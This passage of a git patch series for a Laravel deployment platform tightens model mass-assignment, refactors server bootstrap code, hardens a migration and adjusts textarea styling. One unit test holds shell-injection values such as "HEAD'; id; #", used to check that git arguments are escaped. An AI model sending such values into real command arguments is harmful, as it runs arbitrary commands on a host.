expect($execution->scheduled_task_id)->toBe($task->id); + expect($execution->status)->toBe('success'); + expect((float) $execution->duration)->toBe(60.0); + expect($execution->retry_count)->toBe(0); +}); + +it('creates GithubApp with all fillable attributes', function () { + $githubApp = GithubApp::create([ + 'team_id' => $this->team->id, + 'private_key_id' => $this->server->private_key_id, + 'name' => 'Full Fillable GH App', + 'organization' => 'coollabsio', + 'api_url' => 'https://api.github.com', + 'html_url' => 'https://github.com', + 'custom_user' => 'git', + 'custom_port' => 22, + 'app_id' => 12345, + 'installation_id' => 67890, + 'client_id' => 'Iv1.abc123', + 'client_secret' => 'secret-456', + 'webhook_secret' => 'whsec-789', + 'is_system_wide' => false, + 'is_public' => false, + 'contents' => 'read', + 'metadata' => 'read', + 'pull_requests' => 'write', + 'administration' => 'read', + ]); + + expect($githubApp->exists)->toBeTrue(); + expect($githubApp->name)->toBe('Full Fillable GH App'); + expect($githubApp->organization)->toBe('coollabsio'); + expect($githubApp->app_id)->toBe(12345); + expect($githubApp->installation_id)->toBe(67890); + expect($githubApp->client_id)->toBe('Iv1.abc123'); + expect($githubApp->team_id)->toBe($this->team->id); + expect($githubApp->private_key_id)->toBe($this->server->private_key_id); +}); + +it('creates Subscription with all fillable attributes', function () { + $sub = Subscription::create([ + 'team_id' => $this->team->id, + 'stripe_invoice_paid' => true, + 'stripe_subscription_id' => 'sub_1234567890', + 'stripe_customer_id' => 'cus_1234567890', + 'stripe_cancel_at_period_end' => false, + 'stripe_plan_id' => 'price_1234567890', + 'stripe_feedback' => 'Great service', + 'stripe_comment' => 'Will renew', + 'stripe_trial_already_ended' => true, + 'stripe_past_due' => false, + 'stripe_refunded_at' => null, + ]); + + expect($sub->exists)->toBeTrue(); + expect($sub->team_id)->toBe($this->team->id); + expect($sub->stripe_subscription_id)->toBe('sub_1234567890'); + expect($sub->stripe_customer_id)->toBe('cus_1234567890'); + expect($sub->stripe_plan_id)->toBe('price_1234567890'); + expect($sub->stripe_invoice_paid)->toBeTrue(); +}); + +it('creates CloudProviderToken with all fillable attributes', function () { + $token = CloudProviderToken::create([ + 'team_id' => $this->team->id, + 'provider' => 'hetzner', + 'token' => 'hcloud-token-abc123', + 'name' => 'My Hetzner Token', + ]); + + expect($token->exists)->toBeTrue(); + expect($token->team_id)->toBe($this->team->id); + expect($token->provider)->toBe('hetzner'); + expect($token->token)->toBe('hcloud-token-abc123'); + expect($token->name)->toBe('My Hetzner Token'); +}); + +it('creates Tag with all fillable attributes', function () { + $tag = Tag::create([ + 'name' => 'production', + 'team_id' => $this->team->id, + ]); + + expect($tag->exists)->toBeTrue(); + expect($tag->name)->toBe('production'); + expect($tag->team_id)->toBe($this->team->id); +}); diff --git a/tests/Feature/ServiceDatabaseTeamTest.php b/tests/Feature/ServiceDatabaseTeamTest.php index ae3cba4d3..5fe7e39d2 100644 --- a/tests/Feature/ServiceDatabaseTeamTest.php +++ b/tests/Feature/ServiceDatabaseTeamTest.php @@ -14,18 +14,18 @@ it('returns the correct team through the service relationship chain', function () { $team = Team::factory()->create(); - $project = Project::forceCreate([ + $project = Project::create([ 'uuid' => (string) Str::uuid(), 'name' => 'Test Project', 'team_id' => $team->id, ]); - $environment = Environment::forceCreate([ + $environment = Environment::create([ 'name' => 'test-env-'.Str::random(8), 'project_id' => $project->id, ]); - $service = Service::forceCreate([ + $service = Service::create([ 'uuid' => (string) Str::uuid(), 'name' => 'supabase', 'environment_id' => $environment->id, @@ -34,7 +34,7 @@ 'docker_compose_raw' => 'version: "3"', ]); - $serviceDatabase = ServiceDatabase::forceCreate([ + $serviceDatabase = ServiceDatabase::create([ 'uuid' => (string) Str::uuid(), 'name' => 'supabase-db', 'service_id' => $service->id, @@ -47,18 +47,18 @@ it('returns the correct team for ServiceApplication through the service relationship chain', function () { $team = Team::factory()->create(); - $project = Project::forceCreate([ + $project = Project::create([ 'uuid' => (string) Str::uuid(), 'name' => 'Test Project', 'team_id' => $team->id, ]); - $environment = Environment::forceCreate([ + $environment = Environment::create([ 'name' => 'test-env-'.Str::random(8), 'project_id' => $project->id, ]); - $service = Service::forceCreate([ + $service = Service::create([ 'uuid' => (string) Str::uuid(), 'name' => 'supabase', 'environment_id' => $environment->id, @@ -67,7 +67,7 @@ 'docker_compose_raw' => 'version: "3"', ]); - $serviceApplication = ServiceApplication::forceCreate([ + $serviceApplication = ServiceApplication::create([ 'uuid' => (string) Str::uuid(), 'name' => 'supabase-studio', 'service_id' => $service->id, diff --git a/tests/Feature/StorageApiTest.php b/tests/Feature/StorageApiTest.php index bd9d727c4..75357e41e 100644 --- a/tests/Feature/StorageApiTest.php +++ b/tests/Feature/StorageApiTest.php @@ -49,7 +49,7 @@ function createTestApplication($context): Application function createTestDatabase($context): StandalonePostgresql { - return StandalonePostgresql::forceCreate([ + return StandalonePostgresql::create([ 'name' => 'test-postgres', 'image' => 'postgres:15-alpine', 'postgres_user' => 'postgres', diff --git a/tests/Unit/GitRefValidationTest.php b/tests/Unit/GitRefValidationTest.php index 58d07f4b7..f82dcb863 100644 --- a/tests/Unit/GitRefValidationTest.php +++ b/tests/Unit/GitRefValidationTest.php @@ -1,12 +1,14 @@ toBe('abc123def456'); @@ -93,31 +95,31 @@ describe('executeInDocker git log escaping', function () { test('git log command escapes commit SHA to prevent injection', function () { $maliciousCommit = "HEAD'; id; #"; - $command = "cd /workdir && git log -1 ".escapeshellarg($maliciousCommit).' --pretty=%B'; + $command = 'cd /workdir && git log -1 '.escapeshellarg($maliciousCommit).' --pretty=%B'; $result = executeInDocker('test-container', $command); // The malicious payload must not be able to break out of quoting - expect($result)->not->toContain("id;"); + expect($result)->not->toContain('id;'); expect($result)->toContain("'HEAD'\\''"); }); }); describe('buildGitCheckoutCommand escaping', function () { test('checkout command escapes target to prevent injection', function () { - $app = new \App\Models\Application; - $app->forceFill(['uuid' => 'test-uuid']); + $app = new Application; + $app->fill(['uuid' => 'test-uuid']); - $settings = new \App\Models\ApplicationSetting; + $settings = new ApplicationSetting; $settings->is_git_submodules_enabled = false; $app->setRelation('settings', $settings); - $method = new \ReflectionMethod($app, 'buildGitCheckoutCommand'); + $method = new ReflectionMethod($app, 'buildGitCheckoutCommand'); $result = $method->invoke($app, 'abc123'); expect($result)->toContain("git checkout 'abc123'"); $result = $method->invoke($app, "abc'; id; #"); - expect($result)->not->toContain("id;"); + expect($result)->not->toContain('id;'); expect($result)->toContain("git checkout 'abc'"); }); }); diff --git a/tests/Unit/ModelFillableRegressionTest.php b/tests/Unit/ModelFillableRegressionTest.php new file mode 100644 index 000000000..eff477c5a --- /dev/null +++ b/tests/Unit/ModelFillableRegressionTest.php @@ -0,0 +1,76 @@ +getFillable())->toContain(...$expectedAttributes); +})->with([ + // Relationship/ownership keys + [CloudProviderToken::class, ['team_id']], + [Tag::class, ['team_id']], + [Subscription::class, ['team_id']], + [ScheduledTaskExecution::class, ['scheduled_task_id']], + [ScheduledDatabaseBackupExecution::class, ['uuid', 'scheduled_database_backup_id']], + [ScheduledDatabaseBackup::class, ['uuid', 'team_id']], + [ScheduledTask::class, ['uuid', 'team_id', 'application_id', 'service_id']], + [ServiceDatabase::class, ['service_id']], + [ServiceApplication::class, ['service_id']], + [ApplicationDeploymentQueue::class, ['docker_registry_image_tag']], + [Project::class, ['team_id', 'uuid']], + [Environment::class, ['project_id', 'uuid']], + [ProjectSetting::class, ['project_id']], + [ApplicationSetting::class, ['application_id']], + [ServerSetting::class, ['server_id']], + [SwarmDocker::class, ['server_id']], + [StandaloneDocker::class, ['server_id']], + [User::class, ['pending_email', 'email_change_code', 'email_change_code_expires_at']], + [Server::class, ['ip_previous']], + [GithubApp::class, ['team_id', 'private_key_id']], + + // Application/Service resource keys (including uuid for clone flows) + [Application::class, ['uuid', 'environment_id', 'destination_id', 'destination_type', 'source_id', 'source_type', 'repository_project_id', 'private_key_id']], + [ApplicationPreview::class, ['uuid', 'application_id']], + [Service::class, ['uuid', 'environment_id', 'server_id', 'destination_id', 'destination_type']], + + // Standalone database resource keys (including uuid for clone flows) + [StandalonePostgresql::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']], + [StandaloneMysql::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']], + [StandaloneMariadb::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']], + [StandaloneMongodb::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']], + [StandaloneRedis::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']], + [StandaloneKeydb::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']], + [StandaloneDragonfly::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']], + [StandaloneClickhouse::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']], +]); diff --git a/tests/Unit/ServiceParserImageUpdateTest.php b/tests/Unit/ServiceParserImageUpdateTest.php index 649795866..f672b64f5 100644 --- a/tests/Unit/ServiceParserImageUpdateTest.php +++ b/tests/Unit/ServiceParserImageUpdateTest.php @@ -16,8 +16,8 @@ expect($parsersFile) ->toContain("\$databaseFound = ServiceDatabase::where('name', \$serviceName)->where('service_id', \$resource->id)->first();") ->toContain("\$applicationFound = ServiceApplication::where('name', \$serviceName)->where('service_id', \$resource->id)->first();") - ->toContain("forceCreate([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);") - ->not->toContain("forceCreate([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);"); + ->toContain("create([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);") + ->not->toContain("create([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);"); }); it('ensures service parser updates image after finding or creating service', function () { @@ -41,8 +41,8 @@ // The new code checks for null within the else block and creates only if needed expect($sharedFile) ->toContain('if (is_null($savedService)) {') - ->toContain('$savedService = ServiceDatabase::forceCreate([') - ->toContain('$savedService = ServiceApplication::forceCreate(['); + ->toContain('$savedService = ServiceDatabase::create([') + ->toContain('$savedService = ServiceApplication::create(['); }); it('verifies image update logic is present in parseDockerComposeFile', function () { diff --git a/tests/v4/Browser/DashboardTest.php b/tests/v4/Browser/DashboardTest.php index 233b0db9d..b4a97f268 100644 --- a/tests/v4/Browser/DashboardTest.php +++ b/tests/v4/Browser/DashboardTest.php @@ -77,21 +77,21 @@ ], ]); - Project::forceCreate([ + Project::create([ 'uuid' => 'project-1', 'name' => 'My first project', 'description' => 'This is a test project in development', 'team_id' => 0, ]); - Project::forceCreate([ + Project::create([ 'uuid' => 'project-2', 'name' => 'Production API', 'description' => 'Backend services for production', 'team_id' => 0, ]); - Project::forceCreate([ + Project::create([ 'uuid' => 'project-3', 'name' => 'Staging Environment', 'description' => 'Staging and QA testing', From a77e1f47d1af81724d26bbaf57870deac730ec26 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 31 Mar 2026 13:50:37 +0200 Subject: [PATCH 91/95] fix(models): replace forceCreate with forceFill+save pattern Replaces Model::forceCreate([...]) calls with (new Model)->forceFill([...])->save() across SettingsBackup, Server, and User models to avoid bypassing Eloquent model event lifecycle during record creation. --- app/Livewire/SettingsBackup.php | 4 +++- app/Models/Server.php | 12 ++++++------ app/Models/User.php | 6 ++++-- 3 files changed, 13 insertions(+), 9 deletions(-) diff --git a/app/Livewire/SettingsBackup.php b/app/Livewire/SettingsBackup.php index a111a6096..5336c0c9a 100644 --- a/app/Livewire/SettingsBackup.php +++ b/app/Livewire/SettingsBackup.php @@ -83,7 +83,8 @@ public function addCoolifyDatabase() $postgres_password = $envs['POSTGRES_PASSWORD']; $postgres_user = $envs['POSTGRES_USER']; $postgres_db = $envs['POSTGRES_DB']; - $this->database = StandalonePostgresql::forceCreate([ + $this->database = new StandalonePostgresql; + $this->database->forceFill([ 'id' => 0, 'name' => 'coolify-db', 'description' => 'Coolify database', @@ -94,6 +95,7 @@ public function addCoolifyDatabase() 'destination_type' => StandaloneDocker::class, 'destination_id' => 0, ]); + $this->database->save(); $this->backup = ScheduledDatabaseBackup::create([ 'id' => 0, 'enabled' => true, diff --git a/app/Models/Server.php b/app/Models/Server.php index a18fe14ae..918b44270 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -143,28 +143,28 @@ protected static function booted() } }); static::created(function ($server) { - ServerSetting::forceCreate([ + ServerSetting::create([ 'server_id' => $server->id, ]); if ($server->id === 0) { if ($server->isSwarm()) { - SwarmDocker::forceCreate([ + (new SwarmDocker)->forceFill([ 'id' => 0, 'name' => 'coolify', 'network' => 'coolify-overlay', 'server_id' => $server->id, - ]); + ])->save(); } else { - StandaloneDocker::forceCreate([ + (new StandaloneDocker)->forceFill([ 'id' => 0, 'name' => 'coolify', 'network' => 'coolify', 'server_id' => $server->id, - ]); + ])->saveQuietly(); } } else { if ($server->isSwarm()) { - SwarmDocker::forceCreate([ + SwarmDocker::create([ 'name' => 'coolify-overlay', 'network' => 'coolify-overlay', 'server_id' => $server->id, diff --git a/app/Models/User.php b/app/Models/User.php index aa33a49fb..3199d2024 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -98,7 +98,8 @@ protected static function boot() $team['id'] = 0; $team['name'] = 'Root Team'; } - $new_team = Team::forceCreate($team); + $new_team = (new Team)->forceFill($team); + $new_team->save(); $user->teams()->attach($new_team, ['role' => 'owner']); }); @@ -201,7 +202,8 @@ public function recreate_personal_team() $team['id'] = 0; $team['name'] = 'Root Team'; } - $new_team = Team::forceCreate($team); + $new_team = (new Team)->forceFill($team); + $new_team->save(); $this->teams()->attach($new_team, ['role' => 'owner']); return $new_team; From 4f6e1f7e4271840bc9ab3cbe82953596f39ded7e Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 31 Mar 2026 13:52:39 +0200 Subject: [PATCH 92/95] style(navbar): use tracking-tight instead of tracking-wide for logo --- resources/views/components/navbar.blade.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/resources/views/components/navbar.blade.php b/resources/views/components/navbar.blade.php index 48b544ebb..da9a112f8 100644 --- a/resources/views/components/navbar.blade.php +++ b/resources/views/components/navbar.blade.php @@ -79,7 +79,7 @@ }">
From f01953d361f05009134e5828728bdb242dad4ef6 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 31 Mar 2026 14:41:40 +0200 Subject: [PATCH 93/95] fix(models): add missing uuid to StandaloneDocker initialization --- app/Models/Server.php | 1 + 1 file changed, 1 insertion(+) diff --git a/app/Models/Server.php b/app/Models/Server.php index 918b44270..32100a775 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -158,6 +158,7 @@ protected static function booted() (new StandaloneDocker)->forceFill([ 'id' => 0, 'name' => 'coolify', + 'uuid' => (string) new Cuid2, 'network' => 'coolify', 'server_id' => $server->id, ])->saveQuietly(); From 466eb8504e0473b97a915397c01b0c3775d6610c Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 31 Mar 2026 14:44:45 +0200 Subject: [PATCH 94/95] refactor(models): extract defaultStandaloneDockerAttributes method on Server Extract duplicated inline StandaloneDocker attribute arrays in the Server boot lifecycle into a dedicated method, eliminating repetition between the root-server (id=0) and normal-server paths. Also harden the shared_environment_variables migration by wrapping DDL statements in DB::transaction() and using DROP CONSTRAINT IF EXISTS to make the migration safely re-runnable. Add unit test covering the extracted method to verify uuid is always present in bootstrap attributes. --- app/Models/Server.php | 33 ++++++++++++------- ..._to_shared_environment_variables_table.php | 32 +++++++++++------- ...rverBootstrapDestinationAttributesTest.php | 20 +++++++++++ 3 files changed, 61 insertions(+), 24 deletions(-) create mode 100644 tests/Unit/ServerBootstrapDestinationAttributesTest.php diff --git a/app/Models/Server.php b/app/Models/Server.php index 6b59654ef..06426f211 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -155,12 +155,7 @@ protected static function booted() 'server_id' => $server->id, ])->save(); } else { - (new StandaloneDocker)->forceFill([ - 'id' => 0, - 'name' => 'coolify', - 'network' => 'coolify', - 'server_id' => $server->id, - ])->saveQuietly(); + (new StandaloneDocker)->forceFill($server->defaultStandaloneDockerAttributes(id: 0))->saveQuietly(); } } else { if ($server->isSwarm()) { @@ -171,12 +166,7 @@ protected static function booted() ]); } else { $standaloneDocker = new StandaloneDocker; - $standaloneDocker->forceFill([ - 'name' => 'coolify', - 'uuid' => (string) new Cuid2, - 'network' => 'coolify', - 'server_id' => $server->id, - ]); + $standaloneDocker->forceFill($server->defaultStandaloneDockerAttributes()); $standaloneDocker->saveQuietly(); } } @@ -1043,6 +1033,25 @@ public function team() return $this->belongsTo(Team::class); } + /** + * @return array{id?: int, name: string, uuid: string, network: string, server_id: int} + */ + public function defaultStandaloneDockerAttributes(?int $id = null): array + { + $attributes = [ + 'name' => 'coolify', + 'uuid' => (string) new Cuid2, + 'network' => 'coolify', + 'server_id' => $this->id, + ]; + + if (! is_null($id)) { + $attributes['id'] = $id; + } + + return $attributes; + } + public function environment_variables() { return $this->hasMany(SharedEnvironmentVariable::class)->where('type', 'server'); diff --git a/database/migrations/2025_12_24_095507_add_server_to_shared_environment_variables_table.php b/database/migrations/2025_12_24_095507_add_server_to_shared_environment_variables_table.php index 0207ed955..a6a6fe872 100644 --- a/database/migrations/2025_12_24_095507_add_server_to_shared_environment_variables_table.php +++ b/database/migrations/2025_12_24_095507_add_server_to_shared_environment_variables_table.php @@ -5,17 +5,23 @@ use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Schema; -return new class extends Migration { +return new class extends Migration +{ /** * Run the migrations. */ public function up(): void { - DB::statement("ALTER TABLE shared_environment_variables DROP CONSTRAINT shared_environment_variables_type_check"); - DB::statement("ALTER TABLE shared_environment_variables ADD CONSTRAINT shared_environment_variables_type_check CHECK (type IN ('team', 'project', 'environment', 'server'))"); - Schema::table('shared_environment_variables', function (Blueprint $table) { - $table->foreignId('server_id')->nullable()->constrained()->onDelete('cascade'); - $table->unique(['key', 'server_id', 'team_id']); + DB::transaction(function () { + DB::statement('ALTER TABLE shared_environment_variables DROP CONSTRAINT IF EXISTS shared_environment_variables_type_check'); + DB::statement("ALTER TABLE shared_environment_variables ADD CONSTRAINT shared_environment_variables_type_check CHECK (type IN ('team', 'project', 'environment', 'server'))"); + Schema::table('shared_environment_variables', function (Blueprint $table) { + $table->foreignId('server_id')->nullable()->constrained()->onDelete('cascade'); + // NULL != NULL in PostgreSQL unique indexes, so this only enforces uniqueness + // for server-scoped rows (where server_id is non-null). Other scopes are covered + // by existing unique constraints on ['key', 'project_id', 'team_id'] and ['key', 'environment_id', 'team_id']. + $table->unique(['key', 'server_id', 'team_id']); + }); }); } @@ -24,12 +30,14 @@ public function up(): void */ public function down(): void { - Schema::table('shared_environment_variables', function (Blueprint $table) { - $table->dropUnique(['key', 'server_id', 'team_id']); - $table->dropForeign(['server_id']); - $table->dropColumn('server_id'); + DB::transaction(function () { + Schema::table('shared_environment_variables', function (Blueprint $table) { + $table->dropUnique(['key', 'server_id', 'team_id']); + $table->dropForeign(['server_id']); + $table->dropColumn('server_id'); + }); + DB::statement('ALTER TABLE shared_environment_variables DROP CONSTRAINT IF EXISTS shared_environment_variables_type_check'); + DB::statement("ALTER TABLE shared_environment_variables ADD CONSTRAINT shared_environment_variables_type_check CHECK (type IN ('team', 'project', 'environment'))"); }); - DB::statement("ALTER TABLE shared_environment_variables DROP CONSTRAINT shared_environment_variables_type_check"); - DB::statement("ALTER TABLE shared_environment_variables ADD CONSTRAINT shared_environment_variables_type_check CHECK (type IN ('team', 'project', 'environment'))"); } }; diff --git a/tests/Unit/ServerBootstrapDestinationAttributesTest.php b/tests/Unit/ServerBootstrapDestinationAttributesTest.php new file mode 100644 index 000000000..e9d229fc2 --- /dev/null +++ b/tests/Unit/ServerBootstrapDestinationAttributesTest.php @@ -0,0 +1,20 @@ +id = 0; + + $attributes = $server->defaultStandaloneDockerAttributes(id: 0); + + expect($attributes) + ->toMatchArray([ + 'id' => 0, + 'name' => 'coolify', + 'network' => 'coolify', + 'server_id' => 0, + ]) + ->and($attributes['uuid'])->toBeString() + ->and($attributes['uuid'])->not->toBe(''); +}); From 3961077b900baea6d3aa4616ce88fd5c9f1b1cd2 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 31 Mar 2026 15:37:42 +0200 Subject: [PATCH 95/95] feat(forms): make textarea monospace opt-in and improve multiline toggle Add `monospace` prop to Textarea component so font-mono is no longer applied by default. Apply it explicitly to env variable editors, private key fields, and shared variable forms where monospace is appropriate. Use Alpine.js x-data/x-model to make the multiline toggle reactive without a full Livewire round-trip. Add wire:key on the input/textarea wrappers to force proper DOM replacement when switching modes. --- app/View/Components/Forms/Textarea.php | 7 +++- resources/css/app.css | 1 + .../shared/environment-variable/add.blade.php | 34 +++++++++++-------- .../shared/environment-variable/all.blade.php | 10 +++--- .../environment-variable/show.blade.php | 24 +++++++------ .../security/private-key/create.blade.php | 2 +- .../security/private-key/show.blade.php | 2 +- .../environment/show.blade.php | 2 +- .../shared-variables/project/show.blade.php | 2 +- .../shared-variables/team/index.blade.php | 2 +- ...ronmentVariableMultilineToggleViewTest.php | 22 ++++++++++++ .../PasswordVisibilityComponentTest.php | 14 ++++++++ 12 files changed, 87 insertions(+), 35 deletions(-) create mode 100644 tests/Feature/EnvironmentVariableMultilineToggleViewTest.php diff --git a/app/View/Components/Forms/Textarea.php b/app/View/Components/Forms/Textarea.php index a5303b947..02a23a26a 100644 --- a/app/View/Components/Forms/Textarea.php +++ b/app/View/Components/Forms/Textarea.php @@ -32,10 +32,11 @@ public function __construct( public bool $allowTab = false, public bool $spellcheck = false, public bool $autofocus = false, + public bool $monospace = false, public ?string $helper = null, public bool $realtimeValidation = false, public bool $allowToPeak = true, - public string $defaultClass = 'input scrollbar font-mono', + public string $defaultClass = 'input scrollbar', public string $defaultClassInput = 'input', public ?int $minlength = null, public ?int $maxlength = null, @@ -81,6 +82,10 @@ public function render(): View|Closure|string $this->name = $this->modelBinding !== 'null' ? $this->modelBinding : (string) $this->id; } + if ($this->monospace) { + $this->defaultClass .= ' font-mono'; + } + // $this->label = Str::title($this->label); return view('components.forms.textarea'); } diff --git a/resources/css/app.css b/resources/css/app.css index 2c30baf64..936e0c713 100644 --- a/resources/css/app.css +++ b/resources/css/app.css @@ -15,6 +15,7 @@ @theme { --font-sans: 'Geist Sans', Inter, sans-serif; + --font-mono: 'Geist Mono', 'SFMono-Regular', Consolas, 'Liberation Mono', Menlo, monospace; --font-geist-sans: 'Geist Sans', Inter, sans-serif; --font-logs: 'Geist Mono', 'SFMono-Regular', Consolas, 'Liberation Mono', Menlo, monospace; diff --git a/resources/views/livewire/project/shared/environment-variable/add.blade.php b/resources/views/livewire/project/shared/environment-variable/add.blade.php index 3d757ee63..4ce8c1b0e 100644 --- a/resources/views/livewire/project/shared/environment-variable/add.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/add.blade.php @@ -1,17 +1,23 @@ - + - @if ($is_multiline) - - @else - - @endif + + - @if (!$shared && !$is_multiline) -
+ @if (!$shared) +
Tip: Type {{ to reference a shared environment variable
@@ -34,8 +40,8 @@ label="Is Literal?" /> @endif - + Save - \ No newline at end of file + diff --git a/resources/views/livewire/project/shared/environment-variable/all.blade.php b/resources/views/livewire/project/shared/environment-variable/all.blade.php index a962b2cec..28c67c5b4 100644 --- a/resources/views/livewire/project/shared/environment-variable/all.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/all.blade.php @@ -84,24 +84,24 @@ Inline comments with space before # (e.g., KEY=value #comment) are stripped. - @if ($showPreview) - @endif Save All Environment Variables @else - @if ($showPreview) - @endif @endcan @endif -
\ No newline at end of file +
diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index 059595221..6e93d296b 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -150,17 +150,21 @@
@if ($is_multiline) - +
+ +
@else - +
+ +
@endif @if ($is_shared) -
\ No newline at end of file +
diff --git a/resources/views/livewire/security/private-key/create.blade.php b/resources/views/livewire/security/private-key/create.blade.php index 4294823e0..fb0306265 100644 --- a/resources/views/livewire/security/private-key/create.blade.php +++ b/resources/views/livewire/security/private-key/create.blade.php @@ -13,7 +13,7 @@ - ACTION REQUIRED: Copy the 'Public Key' to your server's diff --git a/resources/views/livewire/security/private-key/show.blade.php b/resources/views/livewire/security/private-key/show.blade.php index 7d90b5005..a8bd17d4a 100644 --- a/resources/views/livewire/security/private-key/show.blade.php +++ b/resources/views/livewire/security/private-key/show.blade.php @@ -56,7 +56,7 @@ required disabled />
- +
diff --git a/resources/views/livewire/shared-variables/environment/show.blade.php b/resources/views/livewire/shared-variables/environment/show.blade.php index fde2d0ae8..0822fff10 100644 --- a/resources/views/livewire/shared-variables/environment/show.blade.php +++ b/resources/views/livewire/shared-variables/environment/show.blade.php @@ -26,7 +26,7 @@ class="dark:text-warning text-coollabs">@{{ environment.VARIABLENAME }}
@else
- Save All Environment Variables
diff --git a/resources/views/livewire/shared-variables/project/show.blade.php b/resources/views/livewire/shared-variables/project/show.blade.php index f89ad9ce7..2d839d26d 100644 --- a/resources/views/livewire/shared-variables/project/show.blade.php +++ b/resources/views/livewire/shared-variables/project/show.blade.php @@ -28,7 +28,7 @@ @else
- Save All Environment Variables
diff --git a/resources/views/livewire/shared-variables/team/index.blade.php b/resources/views/livewire/shared-variables/team/index.blade.php index fcfca35fb..04d2a5713 100644 --- a/resources/views/livewire/shared-variables/team/index.blade.php +++ b/resources/views/livewire/shared-variables/team/index.blade.php @@ -27,7 +27,7 @@ class="dark:text-warning text-coollabs">@{{ team.VARIABLENAME }} @else
- Save All Environment Variables
diff --git a/tests/Feature/EnvironmentVariableMultilineToggleViewTest.php b/tests/Feature/EnvironmentVariableMultilineToggleViewTest.php new file mode 100644 index 000000000..636e5eb66 --- /dev/null +++ b/tests/Feature/EnvironmentVariableMultilineToggleViewTest.php @@ -0,0 +1,22 @@ +toContain('x-data="{ isMultiline: $wire.entangle(\'is_multiline\') }"') + ->toContain('